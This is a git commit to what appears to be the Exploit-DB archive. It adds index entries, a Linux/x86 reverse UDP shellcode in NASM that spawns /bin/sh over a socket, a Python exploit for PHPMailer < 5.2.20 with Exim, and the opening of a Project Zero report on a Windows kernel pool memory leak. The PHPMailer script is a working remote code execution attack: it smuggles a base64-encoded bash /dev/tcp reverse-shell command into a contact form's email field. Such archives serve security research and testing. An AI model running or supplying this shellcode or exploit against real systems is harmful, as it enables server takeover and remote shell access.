DB: 2017-06-22

13 new exploits

Microsoft Windows - 'win32k!NtGdiGetOutlineTextMetricsInternalW' Kernel Pool Memory Disclosure
Microsoft Windows - 'IOCTL 0x390400_ operation code 0x00020000' Kernel KsecDD Pool Memory Disclosure
Microsoft Windows - 'IOCTL_MOUNTMGR_QUERY_POINTS' Kernel Mountmgr Pool Memory Disclosure
Microsoft Windows - '0x224000 IOCTL (WmiQueryAllData)' Kernel WMIDataDevice Pool Memory Disclosure
Microsoft Windows - 'win32k!NtGdiEnumFonts' Kernel Pool Memory Disclosure
Microsoft Windows - 'IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS' volmgr Pool Memory Disclosure
Microsoft Windows - 'IOCTL_DISK_GET_DRIVE_GEOMETRY_EX' Kernel partmgr Pool Memory Disclosure
Microsoft Windows - 'IOCTL_DISK_GET_DRIVE_LAYOUT_EX' Kernel partmgr Pool Memory Disclosure
Microsoft Windows - 'nt!NtQueryVolumeInformationFile (FileFsVolumeInformation)' Kernel Pool Memory Disclosure
Microsoft Windows - 'nt!NtNotifyChangeDirectoryFile' Kernel Pool Memory Disclosure
Microsoft Windows - 'nt!KiDispatchException' Kernel Stack Memory Disclosure in Exception Handling

sudo 1.8.0 < 1.8.3p1 (sudo_debug) - glibc FORTIFY_SOURCE Bypass + Privilege Escalation
sudo 1.8.0 < 1.8.3p1 - 'sudo_debug' glibc FORTIFY_SOURCE Bypass + Privilege Escalation

Linux Kernel 3.14.5 (RHEL / CentOS 7) - 'libfutex' Privilege Escalation
Linux Kernel 3.14.5 (CentOS 7 / RHEL) - 'libfutex' Privilege Escalation

Sudo 1.8.14 - Unauthorized Privilege
Sudo 1.8.14 (RHEL 5/6/7 / Ubuntu) - 'Sudoedit' Unauthorized Privilege Escalation

Linux/x86 - Reverse UDP Shellcode (668 bytes)

PHPMailer < 5.2.20 with Exim MTA - Remote Code Execution
This commit is contained in:
Offensive Security 2017-06-22 05:01:27 +00:00
parent b00ce2562c
commit df0343af6d
14 changed files with 1731 additions and 3 deletions

View file

@ -5556,6 +5556,17 @@ id,file,description,date,author,platform,type,port
42203,platforms/linux/dos/42203.txt,"GNU binutils - 'print_insn_score16' Buffer Overflow",2017-06-19,"Alexandre Adamski",linux,dos,0 42203,platforms/linux/dos/42203.txt,"GNU binutils - 'print_insn_score16' Buffer Overflow",2017-06-19,"Alexandre Adamski",linux,dos,0
42204,platforms/linux/dos/42204.txt,"GNU binutils - 'aarch64_ext_ldst_reglist' Buffer Overflow",2017-06-19,"Alexandre Adamski",linux,dos,0 42204,platforms/linux/dos/42204.txt,"GNU binutils - 'aarch64_ext_ldst_reglist' Buffer Overflow",2017-06-19,"Alexandre Adamski",linux,dos,0
42207,platforms/linux/dos/42207.txt,"Freeware Advanced Audio Coder (FAAC) 1.28 - Denial of Service",2017-06-20,qflb.wu,linux,dos,0 42207,platforms/linux/dos/42207.txt,"Freeware Advanced Audio Coder (FAAC) 1.28 - Denial of Service",2017-06-20,qflb.wu,linux,dos,0
42210,platforms/windows/dos/42210.cpp,"Microsoft Windows - 'win32k!NtGdiGetOutlineTextMetricsInternalW' Kernel Pool Memory Disclosure",2017-06-21,"Google Security Research",windows,dos,0
42211,platforms/windows/dos/42211.cpp,"Microsoft Windows - 'IOCTL 0x390400_ operation code 0x00020000' Kernel KsecDD Pool Memory Disclosure",2017-06-21,"Google Security Research",windows,dos,0
42212,platforms/windows/dos/42212.cpp,"Microsoft Windows - 'IOCTL_MOUNTMGR_QUERY_POINTS' Kernel Mountmgr Pool Memory Disclosure",2017-06-21,"Google Security Research",windows,dos,0
42213,platforms/windows/dos/42213.cpp,"Microsoft Windows - '0x224000 IOCTL (WmiQueryAllData)' Kernel WMIDataDevice Pool Memory Disclosure",2017-06-21,"Google Security Research",windows,dos,0
42214,platforms/windows/dos/42214.txt,"Microsoft Windows - 'win32k!NtGdiEnumFonts' Kernel Pool Memory Disclosure",2017-06-21,"Google Security Research",windows,dos,0
42215,platforms/windows/dos/42215.cpp,"Microsoft Windows - 'IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS' volmgr Pool Memory Disclosure",2017-06-21,"Google Security Research",windows,dos,0
42216,platforms/windows/dos/42216.cpp,"Microsoft Windows - 'IOCTL_DISK_GET_DRIVE_GEOMETRY_EX' Kernel partmgr Pool Memory Disclosure",2017-06-21,"Google Security Research",windows,dos,0
42217,platforms/windows/dos/42217.cpp,"Microsoft Windows - 'IOCTL_DISK_GET_DRIVE_LAYOUT_EX' Kernel partmgr Pool Memory Disclosure",2017-06-21,"Google Security Research",windows,dos,0
42218,platforms/windows/dos/42218.cpp,"Microsoft Windows - 'nt!NtQueryVolumeInformationFile (FileFsVolumeInformation)' Kernel Pool Memory Disclosure",2017-06-21,"Google Security Research",windows,dos,0
42219,platforms/windows/dos/42219.cpp,"Microsoft Windows - 'nt!NtNotifyChangeDirectoryFile' Kernel Pool Memory Disclosure",2017-06-21,"Google Security Research",windows,dos,0
42220,platforms/windows/dos/42220.cpp,"Microsoft Windows - 'nt!KiDispatchException' Kernel Stack Memory Disclosure in Exception Handling",2017-06-21,"Google Security Research",windows,dos,0
3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0 3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0 4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0 12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
@ -8139,7 +8150,7 @@ id,file,description,date,author,platform,type,port
25106,platforms/linux/local/25106.c,"Typespeed 0.4.1 - Local Format String",2005-02-16,"Ulf Harnhammar",linux,local,0 25106,platforms/linux/local/25106.c,"Typespeed 0.4.1 - Local Format String",2005-02-16,"Ulf Harnhammar",linux,local,0
25130,platforms/windows/local/25130.py,"FuzeZip 1.0.0.131625 - Buffer Overflow (SEH)",2013-05-01,RealPentesting,windows,local,0 25130,platforms/windows/local/25130.py,"FuzeZip 1.0.0.131625 - Buffer Overflow (SEH)",2013-05-01,RealPentesting,windows,local,0
25131,platforms/windows/local/25131.py,"WinArchiver 3.2 - Buffer Overflow (SEH)",2013-05-01,RealPentesting,windows,local,0 25131,platforms/windows/local/25131.py,"WinArchiver 3.2 - Buffer Overflow (SEH)",2013-05-01,RealPentesting,windows,local,0
25134,platforms/linux/local/25134.c,"sudo 1.8.0 < 1.8.3p1 (sudo_debug) - glibc FORTIFY_SOURCE Bypass + Privilege Escalation",2013-05-01,aeon,linux,local,0 25134,platforms/linux/local/25134.c,"sudo 1.8.0 < 1.8.3p1 - 'sudo_debug' glibc FORTIFY_SOURCE Bypass + Privilege Escalation",2013-05-01,aeon,linux,local,0
25141,platforms/windows/local/25141.rb,"AudioCoder 0.8.18 - Buffer Overflow (SEH)",2013-05-02,metacom,windows,local,0 25141,platforms/windows/local/25141.rb,"AudioCoder 0.8.18 - Buffer Overflow (SEH)",2013-05-02,metacom,windows,local,0
25202,platforms/linux/local/25202.c,"Linux Kernel 2.6.x - 'SYS_EPoll_Wait' Integer Overflow Privilege Escalation (1)",2005-03-09,sd,linux,local,0 25202,platforms/linux/local/25202.c,"Linux Kernel 2.6.x - 'SYS_EPoll_Wait' Integer Overflow Privilege Escalation (1)",2005-03-09,sd,linux,local,0
25204,platforms/windows/local/25204.py,"ABBS Audio Media Player 3.1 - '.lst' Buffer Overflow",2013-05-04,"Julien Ahrens",windows,local,0 25204,platforms/windows/local/25204.py,"ABBS Audio Media Player 3.1 - '.lst' Buffer Overflow",2013-05-04,"Julien Ahrens",windows,local,0
@ -8506,7 +8517,7 @@ id,file,description,date,author,platform,type,port
35235,platforms/windows/local/35235.rb,"Microsoft Windows - OLE Package Manager Code Execution (via Python) (MS14-064) (Metasploit)",2014-11-14,Metasploit,windows,local,0 35235,platforms/windows/local/35235.rb,"Microsoft Windows - OLE Package Manager Code Execution (via Python) (MS14-064) (Metasploit)",2014-11-14,Metasploit,windows,local,0
35236,platforms/windows/local/35236.rb,"Microsoft Windows - OLE Package Manager Code Execution (MS14-064) (Metasploit)",2014-11-14,Metasploit,windows,local,0 35236,platforms/windows/local/35236.rb,"Microsoft Windows - OLE Package Manager Code Execution (MS14-064) (Metasploit)",2014-11-14,Metasploit,windows,local,0
35322,platforms/windows/local/35322.txt,"Privacyware Privatefirewall 7.0 - Unquoted Service Path Privilege Escalation",2014-11-22,LiquidWorm,windows,local,0 35322,platforms/windows/local/35322.txt,"Privacyware Privatefirewall 7.0 - Unquoted Service Path Privilege Escalation",2014-11-22,LiquidWorm,windows,local,0
35370,platforms/linux/local/35370.c,"Linux Kernel 3.14.5 (RHEL / CentOS 7) - 'libfutex' Privilege Escalation",2014-11-25,"Kaiqu Chen",linux,local,0 35370,platforms/linux/local/35370.c,"Linux Kernel 3.14.5 (CentOS 7 / RHEL) - 'libfutex' Privilege Escalation",2014-11-25,"Kaiqu Chen",linux,local,0
35377,platforms/windows/local/35377.rb,"Mini-stream RM-MP3 Converter 3.1.2.1.2010.03.30 - '.wax' Buffer Overflow (SEH)",2014-11-26,"Muhamad Fadzil Ramli",windows,local,0 35377,platforms/windows/local/35377.rb,"Mini-stream RM-MP3 Converter 3.1.2.1.2010.03.30 - '.wax' Buffer Overflow (SEH)",2014-11-26,"Muhamad Fadzil Ramli",windows,local,0
35395,platforms/windows/local/35395.txt,"CCH Wolters Kluwer PFX Engagement 7.1 - Privilege Escalation",2014-11-28,"Information Paradox",windows,local,0 35395,platforms/windows/local/35395.txt,"CCH Wolters Kluwer PFX Engagement 7.1 - Privilege Escalation",2014-11-28,"Information Paradox",windows,local,0
35423,platforms/windows/local/35423.txt,"Thomson Reuters Fixed Assets CS 13.1.4 - Privilege Escalation",2014-12-02,"Information Paradox",windows,local,0 35423,platforms/windows/local/35423.txt,"Thomson Reuters Fixed Assets CS 13.1.4 - Privilege Escalation",2014-12-02,"Information Paradox",windows,local,0
@ -8627,7 +8638,7 @@ id,file,description,date,author,platform,type,port
37699,platforms/windows/local/37699.py,"Foxit Reader - '.png' Conversion Parsing tEXt Chunk Arbitrary Code Execution",2015-07-27,"Sascha Schirra",windows,local,0 37699,platforms/windows/local/37699.py,"Foxit Reader - '.png' Conversion Parsing tEXt Chunk Arbitrary Code Execution",2015-07-27,"Sascha Schirra",windows,local,0
37737,platforms/windows/local/37737.rb,"Heroes of Might and Magic III - '.h3m' Map file Buffer Overflow (Metasploit)",2015-08-07,Metasploit,windows,local,0 37737,platforms/windows/local/37737.rb,"Heroes of Might and Magic III - '.h3m' Map file Buffer Overflow (Metasploit)",2015-08-07,Metasploit,windows,local,0
37825,platforms/osx/local/37825.txt,"Apple Mac OSX 10.10.5 - XNU Privilege Escalation",2015-08-18,kpwn,osx,local,0 37825,platforms/osx/local/37825.txt,"Apple Mac OSX 10.10.5 - XNU Privilege Escalation",2015-08-18,kpwn,osx,local,0
37710,platforms/linux/local/37710.txt,"Sudo 1.8.14 - Unauthorized Privilege",2015-07-28,"daniel svartman",linux,local,0 37710,platforms/linux/local/37710.txt,"Sudo 1.8.14 (RHEL 5/6/7 / Ubuntu) - 'Sudoedit' Unauthorized Privilege Escalation",2015-07-28,"daniel svartman",linux,local,0
37716,platforms/windows/local/37716.c,"Heroes of Might and Magic III - Map Parsing Arbitrary Code Execution",2015-07-29,"John AAkerblom",windows,local,0 37716,platforms/windows/local/37716.c,"Heroes of Might and Magic III - Map Parsing Arbitrary Code Execution",2015-07-29,"John AAkerblom",windows,local,0
37722,platforms/lin_x86-64/local/37722.c,"Linux espfix64 - (Nested NMIs Interrupting) Privilege Escalation",2015-08-05,"Andrew Lutomirski",lin_x86-64,local,0 37722,platforms/lin_x86-64/local/37722.c,"Linux espfix64 - (Nested NMIs Interrupting) Privilege Escalation",2015-08-05,"Andrew Lutomirski",lin_x86-64,local,0
37724,platforms/lin_x86/local/37724.asm,"Linux (x86) - Memory Sinkhole Privilege Escalation (PoC)",2015-08-07,"Christopher Domas",lin_x86,local,0 37724,platforms/lin_x86/local/37724.asm,"Linux (x86) - Memory Sinkhole Privilege Escalation (PoC)",2015-08-07,"Christopher Domas",lin_x86,local,0
@ -16256,6 +16267,7 @@ id,file,description,date,author,platform,type,port
42126,platforms/lin_x86-64/shellcode/42126.c,"Linux/x86-64 - /bin/sh Shellcode (31 bytes)",2017-06-05,"Touhid M.Shaikh",lin_x86-64,shellcode,0 42126,platforms/lin_x86-64/shellcode/42126.c,"Linux/x86-64 - /bin/sh Shellcode (31 bytes)",2017-06-05,"Touhid M.Shaikh",lin_x86-64,shellcode,0
42177,platforms/lin_x86/shellcode/42177.c,"Linux/x86 - XOR encoded execve(/bin/sh) setuid(0) setgid(0) Shellcode (66 bytes)",2017-06-15,nullparasite,lin_x86,shellcode,0 42177,platforms/lin_x86/shellcode/42177.c,"Linux/x86 - XOR encoded execve(/bin/sh) setuid(0) setgid(0) Shellcode (66 bytes)",2017-06-15,nullparasite,lin_x86,shellcode,0
42179,platforms/lin_x86-64/shellcode/42179.c,"Linux/x86_64 - execve(_/bin/sh_) Shellcode (24 bytes)",2017-06-15,m4n3dw0lf,lin_x86-64,shellcode,0 42179,platforms/lin_x86-64/shellcode/42179.c,"Linux/x86_64 - execve(_/bin/sh_) Shellcode (24 bytes)",2017-06-15,m4n3dw0lf,lin_x86-64,shellcode,0
42208,platforms/lin_x86/shellcode/42208.nasm,"Linux/x86 - Reverse UDP Shellcode (668 bytes)",2017-06-20,"DONTON Fetenat C",lin_x86,shellcode,0
6,platforms/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,php,webapps,0 6,platforms/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,php,webapps,0
44,platforms/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",php,webapps,0 44,platforms/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",php,webapps,0
47,platforms/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,php,webapps,0 47,platforms/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,php,webapps,0
@ -38031,3 +38043,4 @@ id,file,description,date,author,platform,type,port
42196,platforms/hardware/webapps/42196.sh,"Beetel BCM96338 Router - Unauthenticated DNS Change",2017-06-17,"Todor Donev",hardware,webapps,0 42196,platforms/hardware/webapps/42196.sh,"Beetel BCM96338 Router - Unauthenticated DNS Change",2017-06-17,"Todor Donev",hardware,webapps,0
42197,platforms/hardware/webapps/42197.sh,"D-Link DSL-2640B - Unauthenticated Remote DNS Change",2017-06-18,"Todor Donev",hardware,webapps,0 42197,platforms/hardware/webapps/42197.sh,"D-Link DSL-2640B - Unauthenticated Remote DNS Change",2017-06-18,"Todor Donev",hardware,webapps,0
42205,platforms/php/webapps/42205.html,"WonderCMS 2.1.0 - Cross-Site Request Forgery",2017-06-19,"Ehsan Hosseini",php,webapps,0 42205,platforms/php/webapps/42205.html,"WonderCMS 2.1.0 - Cross-Site Request Forgery",2017-06-19,"Ehsan Hosseini",php,webapps,0
42221,platforms/php/webapps/42221.py,"PHPMailer < 5.2.20 with Exim MTA - Remote Code Execution",2017-06-21,phackt_ul,php,webapps,0

Can't render this file because it is too large.

View file

@ -0,0 +1,110 @@
; SLAE-X
; thanks to writesup from previou students :]
; assignment: 2. create a reverse shell
; originality: using UDP instead TCP
; usage : sudo ncat -lup 53 on the receiving end
; warning, this shellcode might contains null byte if you use certain ip / address
%define htons(x) ((x >> 8) & 0xFF) | ((x & 0xFF) << 8)
%define _port 5353;
PORT equ htons(_port);
_ip equ 0x0100007F; loopback 127.0.0.1 test
; warning use non null byte address here
; 127.1.1.1 has issue on UDP fyi
global _start
_start:
; we create a socket fd, using again syscall 0x66 and argument SYS_SOCKET so ebx = 1
push 0x66
pop eax
push 0x1
pop ebx
xor ecx,ecx
push ecx
; but this times it will be a SOCK_DGRAM UDP, so 0x2 as argument
push 0x2
push 0x2
mov ecx,esp
int 0x80
; saving fd
; then we call connect on this UDP socket (to use send())
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
; we push ip address as argument
push _ip;
xor edx,edx
; port 53 without null byte
mov dh, 0x35 ; comment this for variable port
push dx; comment this for variable port
; push word PORT ; UNcomment this for variable port
push word 0x2;
mov ecx,esp; save pointer to ecx
push 0x10; addrlen
push ecx; pointer to sockaddr
push eax; fd received previously
mov ecx,esp;
mov esi,eax; save fd for next call
xor eax,eax
mov al,0x66
add bl,0x2
int 0x80
; now we send a UDP packet to open stateful firewall :]
xor eax,eax
mov al,0x66
; ssize_t send(int sockfd, const void *buf, size_t len, int flags);
; we will send "udpready:" string to let the distant server know the shellcode is working and ready
push 0x0a3a7964
push 0x72706475
mov edx,esp
; no flags needed
xor ecx,ecx
push ecx
; size of message to be sent is 8
push 0x8
push edx
push esi
mov ecx,esp
xor ebx,ebx
mov bl,0x9
int 0x80
; the rest is similar to assignment 1 > copy pasta
; duplicating fd from socket to stdin stdout stderr of the process
mov ebx,esi
; we need to clean ecx, at this stage it contains data "0xBFFFF39C"
; since we use "mov cl" and not mov ecx (to avoid null byte) we dont want to have this remaining data and break our loop
xor ecx,ecx
mov cl,0x2
; we use a loop and decrease cl register, ie from 2 to 0 , 2 - 1 - 0
loop:
; syscall dup2
mov al,0x3f
int 0x80
dec ecx
; sign flag is not set if ecx is not inferior to 0
; so we use "jump if not sign" which check if the flag is on
jns loop
; syscall "execve", with arguments /bin//sh null terminated and a null string for envp argument
mov al,0xb
xor esi,esi
push esi
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx,esp
; push null termination
xor esi,esi
push esi
mov edx,esp
push ebx
mov ecx,esp
int 0x80

159
platforms/php/webapps/42221.py Executable file
View file

@ -0,0 +1,159 @@
#!/usr/bin/python
#
# Exploit Title: [RCE for PHPMailer < 5.2.20 with Exim MTA]
# Date: [16/06/2017]
# Exploit Author: [@phackt_ul]
# Software Link: [https://github.com/PHPMailer/PHPMailer]
# Version: [< 5.2.20]
# Tested on: [Debian x86/x64]
# CVE : [CVE-2016-10033,CVE-2016-10074,CVE-2016-10034,CVE-2016-10045]
#
# @phackt_ul - https://phackt.com
#
# All credits go to Dawid Golunski (@dawid_golunski) - https://legalhackers.com
# and its research on PHP libraries vulns
#
# PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)
# PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045) - escapeshellarg() bypass
# SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)
# Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)
#
# ExploitBox project:
# https://ExploitBox.io
#
# Full advisory URL:
# https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
# https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html
# http://pwnscriptum.com/
#
# --------------------------------------------------------
# Enhanced for Exim MTA
#
# N.B:
# The original author's method in the PHPMailer POC (for sendmail MTA) uses the RFC 3696
# double quotes technique associated with the -oQ -X options to log mailer traffic and to create
# the backdoor. This technique is not facing some payload size issues because the payload
# was in the email body.
#
# For Exim:
# The original author's Wordpress 4.6 POC for Exim combines the comment syntax (RFC 822)
# and the Exim expansion mode techniques. The use of substr on spool_directory and tod_log
# expansion variables in order to bypass the PHP mail() escaping may leads to large
# email addresses payloads. However the comment syntax validateAddress() technique does not
# face any size limitation but its use can not be applied for PHPMailer < 5.2.20.
#
# Goal:
# The use of double quotes validateAdresse() technique (and it's patch bypass for PHPMailer < 5.5.20)
# combined with the Exim expansion mode technique may leads to large payloads quickly facing addresses
# size limit here (260 chars) and so not matching the pcre8 regexp in the validateAddress() function.
# We are now base64 encoding the command in order to bypass escapeshellcmd() and allowing larger payloads.
#
#
# Usage:
# ./rce_phpmailer_exim4.py -url http://victim/phpmailer/ -cf contact_form.php -ip 192.168.1.109 -p 1337
#
#
# Requirements:
# - Vulnerable PHP libraries
# - Exim MTA Agent
#
#
# Disclaimer:
# For testing purposes only on your local machine - http://pwnscriptum.com/PwnScriptum_PHPMailer_PoC_contactform.zip
import argparse
import urllib
import urllib2
import base64
# Prepare command for Exim expansion mode in order
def prepare_cmd(cmd):
return '${run{${base64d:%s}}}' % base64.b64encode(cmd)
# Send Request method
def send_request(req):
try:
urllib2.urlopen(req)
except urllib2.HTTPError, e:
print "[!] Got HTTP error: [%d] when trying to reach " + req.get_full_url() + " - Check the URL!\n\n" % e.code
exit(3)
except urllib2.URLError, err:
print "[!] Got the '%s' error when trying to reach " + req.get_full_url() + " - Check the URL!\n\n" % err.reason
exit(4)
# Parse input args
parser = argparse.ArgumentParser(prog='rce_phpmailer_exim4.py', description='PHPMailer / Zend-mail / SwiftMailer - RCE Exploit for Exim4 based on LegalHackers sendmail version')
parser.add_argument('-url', dest='WEBAPP_BASE_URL', required=True, help='WebApp Base Url')
parser.add_argument('-cf', dest='CONTACT_SCRIPT', required=True, help='Contact Form scriptname')
parser.add_argument('-ip', dest='ATTACKER_IP', required=True, help='Attacker IP for reverse shell')
parser.add_argument('-p', dest='ATTACKER_PORT', required=False, help='Attackers Port for reverse shell', default="8888")
parser.add_argument('--post-action', dest='POST_ACTION', required=False, help='Overrides POST "action" field name', default="send")
parser.add_argument('--post-name', dest='POST_NAME', required=False, help='Overrides POST "name of sender" field name', default="name")
parser.add_argument('--post-email', dest='POST_EMAIL', required=False, help='Overrides POST "email" field name', default="email")
parser.add_argument('--post-msg', dest='POST_MSG', required=False, help='Overrides POST "message" field name', default="msg")
args = parser.parse_args()
CONTACT_SCRIPT_URL = args.WEBAPP_BASE_URL + args.CONTACT_SCRIPT
# Show params
print """[+] Setting vars to: \n
WEBAPP_BASE_URL = [%s]
CONTACT_SCRIPT = [%s]
ATTACKER_IP = [%s]
ATTACKER_PORT = [%s]
POST_ACTION = [%s]
POST_NAME = [%s]
POST_EMAIL = [%s]
POST_MSG = [%s]
""" % (args.WEBAPP_BASE_URL, args.CONTACT_SCRIPT, args.ATTACKER_IP, args.ATTACKER_PORT, args.POST_ACTION, args.POST_NAME, args.POST_EMAIL, args.POST_MSG)
# Ask for mail library
print "[+] Choose your target / payload: "
print "\033[1;34m"
print """[1] PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)"""
print """ SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)"""
print """ Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)\n"""
print """[2] PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045) - escapeshellarg() bypass"""
print "\033[0m"
try:
target = int(raw_input('[?] Select target [1-2]: '))
except ValueError:
print "Not a valid choice. Exiting\n"
exit(2)
if (target>2):
print "No such target. Exiting\n"
exit(3)
################################
# Payload
################################
cmd = "/bin/bash -c '0<&196;exec 196<>/dev/tcp/192.168.1.19/1337;nohup sh <&196 >&196 2>&196 &'"
prepared_cmd = prepare_cmd(cmd)
payload = '"a\\" -be ' + prepared_cmd + ' "@a.co'
# Update payloads for PHPMailer bypass (PHPMailer < 5.2.20)
if target == 2:
payload = "\"a\\' -be " + prepared_cmd + " \"@a.co"
################################
# Attack episode
# This step will execute the reverse shell
################################
# Form fields
post_fields = {'action': "%s" % args.POST_ACTION, "%s" % args.POST_NAME: 'Jas Fasola', "%s" % args.POST_EMAIL: payload, "%s" % args.POST_MSG: 'Really important message'}
# Print relevant information
print "\n[+] Executing command on victim server\n"
print '[!] command: [%s]' % cmd
print '[!] payload: [%s]' % payload
print '[!] post_fields: [%s]\n' % str(post_fields)
data = urllib.urlencode(post_fields)
req = urllib2.Request(CONTACT_SCRIPT_URL, data)
send_request(req)
print "\033[1;32m[+] You should check your listener and cross the fingers ;)\033[0m\n"

163
platforms/windows/dos/42210.cpp Executable file
View file

@ -0,0 +1,163 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1144
The win32k!NtGdiGetOutlineTextMetricsInternalW system call corresponds to the documented GetOutlineTextMetrics API function [1], and is responsible for returning information about the outline text metrics associated with a specific Device Context. The output data is passed to the client via a OUTLINETEXTMETRIC structure [2], which contains fields of various basic types (LONG, WCHAR, BYTE, ...), as well as other embedded structures.
The simplified workflow of the syscall handler is as follows:
1. Allocate a pool-based buffer with a user-specified size for the output data.
2. Fill out all of the structure fields in the internal win32k!GreGetOutlineTextMetricsInternalW function.
3. Copy the contents of the buffer back to user-mode.
Due to the mixture of fields of various widths, the structure has several padding holes which do not correspond to any specific fields, but are required for the correct alignment of the data inside. Since the kernel-mode buffer is not pre-initialized upon allocation, and the holes are also not explicitly initialized in the system call, they end up containing junk data (from previous pool allocations), which is then leaked to the user-mode application.
The initialization metadata of an example pool allocation created upon a request from explorer.exe on Windows 7 32-bit is shown below:
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ................
00000050: ff 00 00 00 00 00 00 00 00 00 00 ff 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000140: 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ................
The OUTLINETEXTMETRIC structure starts at offset 0x10, the 0x00 values indicate initialized bytes, while 0xff are the uninitialized ones. Therefore, we can see there are 4 subsequent uninitialized bytes at offsets 0x3d-0x40 of the structure (corresponding to the padding after the otmTextMetrics structure, and the value of the otmFiller byte), and 1 uninitialized byte at offset 0x4b (which is the padding after the otmPanoseNumber structure).
The outcome of the vulnerability can be also observed in practice, by running the attached proof-of-concept program on a Windows system with Special Pools enabled for win32k.sys, and the win32k!gpTmpGlobalFree optimization disabled (so that the allocations actually take place on the pools every time). Then, we can see how the marker byte inserted by Special Pools can be consistently observed at offsets 0x3d-0x40 and 0x4b of the output structure:
00000000: 9e 01 00 00 0a 00 00 00 08 00 00 00 02 00 00 00 ................
00000010: 02 00 00 00 00 00 00 00 09 00 00 00 39 00 00 00 ............9...
00000020: 90 01 00 00 00 00 00 00 60 00 00 00 60 00 00 00 ........`...`...
00000030: 20 00 fc ff 1f 00 20 00 00 00 00 17 00[e5 e5 e5] ..... .........
00000040:[e5]02 02 06 03 05 04 05 02 03 04[e5]40 00 00 00 ............@...
00000050: 08 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 08 00 00 06 00 00 00 fe ff ff ff 01 00 00 00 ................
00000070: 04 00 00 00 02 00 00 00 f3 ff ff ff 08 00 00 00 ................
00000080: 2c 00 00 00 fe ff ff ff 07 00 00 00 fe ff ff ff ,...............
00000090: 00 00 00 00 09 00 00 00 0f 00 00 00 05 00 00 00 ................
000000a0: 00 00 00 00 01 00 00 00 0f 00 00 00 05 00 00 00 ................
000000b0: 00 00 00 00 04 00 00 00 00 00 00 00 02 00 00 00 ................
000000c0: 00 00 00 00 ff ff ff ff d8 00 00 00 f8 00 00 00 ................
000000d0: 18 01 00 00 2a 01 00 00 54 00 69 00 6d 00 65 00 ....*...T.i.m.e.
000000e0: 73 00 20 00 4e 00 65 00 77 00 20 00 52 00 6f 00 s. .N.e.w. .R.o.
000000f0: 6d 00 61 00 6e 00 00 00 54 00 69 00 6d 00 65 00 m.a.n...T.i.m.e.
00000100: 73 00 20 00 4e 00 65 00 77 00 20 00 52 00 6f 00 s. .N.e.w. .R.o.
00000110: 6d 00 61 00 6e 00 00 00 4e 00 6f 00 72 00 6d 00 m.a.n...N.o.r.m.
00000120: 61 00 6c 00 6e 00 79 00 00 00 4d 00 6f 00 6e 00 a.l.n.y...M.o.n.
00000130: 6f 00 74 00 79 00 70 00 65 00 3a 00 54 00 69 00 o.t.y.p.e.:.T.i.
